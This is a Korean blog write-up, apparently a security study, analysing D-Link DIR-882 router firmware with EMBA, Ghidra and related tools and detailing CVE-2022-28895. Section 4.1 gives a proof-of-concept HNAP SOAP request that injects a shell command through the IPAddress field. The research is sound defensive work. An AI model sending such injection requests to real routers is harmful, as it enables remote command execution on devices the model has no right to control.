[1-day] 정적 분석 결산

goldenGlow_21·2025년 3월 19일
post-thumbnail

1. 개요

1.1 프로젝트 개요

본 보고서는 D-Link DIR-882 라우터 펌웨어를 분석하여 보안 취약점을 식별하고, 이를 자동화 도구 및 정적/동적 분석 기법을 활용하여 검증한 결과를 포함하고 있다. 본 연구에서는 주요 CVE를 분석하고, Embedded Malware Behavior Analyzer(EMBA)와 자동화 취약점 탐지 도구들을 활용하여 보안 결함을 식별하였다.

1.2 분석 대상 및 환경

  • 대상 펌웨어: DIR882A1_FW130B06, DIR882A1_FW104B02_Middle_FW_Unencrypt.bin 등
  • 사용 도구: Binwalk, Firmwalker, Ghidra, Radare2, Nuclei, EMBA, IDA Pro, Dlink-decrypt
  • 운영 환경: Kali Linux 24.04 (VMware)

2. 펌웨어 분석 및 취약점 탐색

2.1 펌웨어 복호화 및 파일 시스템 분석

복호화 과정

  1. dlink-decrypt 오픈소스 툴을 활용하여 암호화된 .bin 파일 복호화
  2. 복호화 성공 후 decrypted.bin 파일을 분석하여 파일 시스템을 복원

파일 시스템 구조 분석

  • /bin, /etc, /lib, /sbin 등의 주요 디렉토리 구조를 확인
  • nvram_daemon, dnsmasq, imgdecrypt 등의 실행 파일 탐색
  • public.pem 파일 발견 (RSA 공개키 포함)

2.2 자동화 취약점 탐지 도구 분석

탐색 및 수행 계획

  1. Nuclei: 웹 및 API 취약점 스캔
  2. Firmwalker: 하드코딩된 비밀번호 및 민감한 데이터 검색
  3. Radare2 + Ghidra: 바이너리 내 취약한 함수 탐색 (system, execve 등)
  4. Firmware Analysis Toolkit (FAT) + Firmadyne: 펌웨어 가상 실행 후 동적 분석 수행

분석 결과

  • firmwalker를 통해 기본적인 계정 정보 및 암호화 키 탐색
  • Nuclei로 HNAP API 관련 취약점 검사 (HTTP 요청 기반 탐지 실패)
  • imgdecrypt 실행 파일이 /etc_ro/public.pem RSA 키를 참조하는 점을 발견
  • firmwalker를 통해 패스워드 관련 파일 검색 실패 (펌웨어가 자체 인증 메커니즘 사용 가능성)

3. EMBA 활용 분석

3.1 기본 환경 구성

  1. EMBA 패키지 설치 및 필수 의존성 설치
  2. 기본 스캔 수행 (default scan profile)
  3. SBOM(Software Bill of Materials) 분석 및 시스템 에뮬레이션 수행(예정)

3.2 분석 결과 요약

  • 펌웨어 아키텍처: MIPS / EL
  • 운영체제: Linux v3.10.14
  • 파일 개수: 1,212개 (디렉토리 151개 포함)
  • 엔트로피 분석: 7.999986 bits/byte (랜덤 데이터 수준)
  • 취약점 개수: 15,586개 가능성 있는 취약점 탐지 (Semgrep 분석)
  • 보안 설정 미흡:
    • Stack Canary 미적용: 193개 (100%)
    • RELRO 미적용: 183개 (95%)
    • NX 미적용: 193개 (100%)
    • PIE 미적용: 87개 (45%)

주요 취약점 및 발견된 이슈

취약점 요소탐지된 개수
strcpy() 사용1,259회
system() 사용44회
취약한 DNSMASQ 버전CVE 13건, Exploit 1건
취약한 OpenSSL 버전CVE 35건, Exploit 5건
취약한 Samba 버전CVE 62건, Exploit 11건
취약한 Linux Kernel 버전CVE 2,330건, Exploit 114건

Exploit 가능성 분석

  • 128개 Exploit 가능성 탐지
  • 19개 Metasploit 모듈 확인
  • 원격 공격 가능 Exploit 6개, 로컬 권한 상승 Exploit 25개

4. CVE 취약점 상세 분석

4.1 CVE-2022-28895 분석

취약점 개요

  • 취약점 유형: 원격 명령 실행 (RCE)
  • 발견된 파일: SetNetworkSettings API에서 IPAddress 값을 검증 없이 사용
  • 공격 벡터: SOAP 요청을 통해 시스템 명령 주입 가능

PoC 코드 실행 예시

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Type: text/xml
SOAPACTION: "<http://purenetworks.com/HNAP1/SetNetworkSettings>"

<soap:Envelope>
<soap:Body>
<SetNetworkSettings xmlns="http://purenetworks.com/HNAP1/">
	<IPAddress>&& ls > /tmp/test.txt &&echo 1</IPAddress>
</SetNetworkSettings>
</soap:Body>
</soap:Envelope>

4.2 취약점 활용 및 공격 가능성

  • /HNAP1/ API를 악용하여 원격에서 임의 명령 실행 가능
  • system() 호출이 필터링 없이 수행됨
  • Exploit을 통해 관리자 권한의 Shell 획득 가능
profile
안드로이드는 리눅스의 꿈을 꾸는가

0개의 댓글